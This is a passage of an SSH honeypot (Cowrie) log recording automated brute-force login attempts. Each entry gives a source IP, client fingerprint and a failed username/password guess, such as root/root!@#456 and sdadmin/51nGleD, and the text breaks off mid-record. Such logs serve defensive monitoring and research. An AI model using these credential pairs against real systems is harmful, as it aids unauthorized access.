{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":39258,"dst_ip":"10.17.0.5","dst_port":22,"session":"86bbd48afb01","protocol":"ssh","message":"New connection: 41.86.34.139:39258 (10.17.0.5:22) [session: 86bbd48afb01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:17.729193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:17.733971Z","src_ip":"41.86.34.139","session":"86bbd48afb01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:17.941891Z","src_ip":"41.86.34.139","session":"86bbd48afb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12240,"dst_ip":"10.17.0.5","dst_port":22,"session":"86173cd02bd7","protocol":"ssh","message":"New connection: 141.11.88.14:12240 (10.17.0.5:22) [session: 86173cd02bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:18.036514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:18.187538Z","src_ip":"141.11.88.14","session":"86173cd02bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:18.191394Z","src_ip":"141.11.88.14","session":"86173cd02bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cyrus","password":"cyrus","message":"login attempt [cyrus/cyrus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:18.800565Z","src_ip":"141.11.88.14","session":"86173cd02bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!@#456","message":"login attempt [root/root!@#456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:18.823167Z","src_ip":"41.86.34.139","session":"86bbd48afb01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:19.907268Z","src_ip":"141.11.88.14","session":"86173cd02bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:20.037264Z","src_ip":"41.86.34.139","session":"86bbd48afb01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41760,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e643655f6db","protocol":"ssh","message":"New connection: 103.82.132.16:41760 (159.203.135.109:22) [session: 1e643655f6db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:21.710406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:21.719485Z","src_ip":"103.82.132.16","session":"1e643655f6db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:21.975762Z","src_ip":"103.82.132.16","session":"1e643655f6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":51004,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b9384dcc909","protocol":"ssh","message":"New connection: 103.143.231.24:51004 (10.17.0.5:22) [session: 9b9384dcc909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:22.499568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:22.507355Z","src_ip":"103.143.231.24","session":"9b9384dcc909","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:22.578753Z","src_ip":"103.143.231.24","session":"9b9384dcc909","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21101984","message":"login attempt [root/21101984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:22.744881Z","src_ip":"103.82.132.16","session":"1e643655f6db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo123","message":"login attempt [demo/demo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:22.894696Z","src_ip":"103.143.231.24","session":"9b9384dcc909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:23.967434Z","src_ip":"103.143.231.24","session":"9b9384dcc909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:24.005960Z","src_ip":"103.82.132.16","session":"1e643655f6db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12296,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a69fd633342","protocol":"ssh","message":"New connection: 141.11.88.14:12296 (10.17.0.5:22) [session: 1a69fd633342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:24.559520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:24.599423Z","src_ip":"141.11.88.14","session":"1a69fd633342","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:24.689140Z","src_ip":"141.11.88.14","session":"1a69fd633342","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdadmin","password":"51nGleD","message":"login attempt [sdadmin/51nGleD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:25.404078Z","src_ip":"141.11.88.14","session":"1a69fd633342","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:26.796349Z","src_ip":"141.11.88.14","session":"1a69fd633342","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40302,"dst_ip":"10.17.0.5","dst_port":22,"session":"370ce8ca9780","protocol":"ssh","message":"New connection: 141.11.88.14:40302 (10.17.0.5:22) [session: 370ce8ca9780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:30.658470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:30.665092Z","src_ip":"141.11.88.14","session":"370ce8ca9780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":60648,"dst_ip":"10.17.0.5","dst_port":22,"session":"9644f45ca5ce","protocol":"ssh","message":"New connection: 197.5.145.150:60648 (10.17.0.5:22) [session: 9644f45ca5ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:30.780061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:30.791256Z","src_ip":"197.5.145.150","session":"9644f45ca5ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:30.797673Z","src_ip":"141.11.88.14","session":"370ce8ca9780","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:30.906332Z","src_ip":"197.5.145.150","session":"9644f45ca5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456@","message":"login attempt [root/abc123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:31.390925Z","src_ip":"197.5.145.150","session":"9644f45ca5ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"12345","message":"login attempt [main/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:31.831895Z","src_ip":"141.11.88.14","session":"370ce8ca9780","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:32.510021Z","src_ip":"197.5.145.150","session":"9644f45ca5ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:33.030053Z","src_ip":"141.11.88.14","session":"370ce8ca9780","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40386,"dst_ip":"10.17.0.5","dst_port":22,"session":"b93d750be804","protocol":"ssh","message":"New connection: 141.11.88.14:40386 (10.17.0.5:22) [session: b93d750be804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:36.402859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:36.426234Z","src_ip":"141.11.88.14","session":"b93d750be804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:36.518252Z","src_ip":"141.11.88.14","session":"b93d750be804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123","message":"login attempt [user/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:37.174294Z","src_ip":"141.11.88.14","session":"b93d750be804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:38.274886Z","src_ip":"141.11.88.14","session":"b93d750be804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":16078,"dst_ip":"10.17.0.5","dst_port":22,"session":"58de8fb73493","protocol":"ssh","message":"New connection: 141.11.88.14:16078 (10.17.0.5:22) [session: 58de8fb73493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:43.283373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:04:43.368623Z","src_ip":"141.11.88.14","session":"58de8fb73493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-s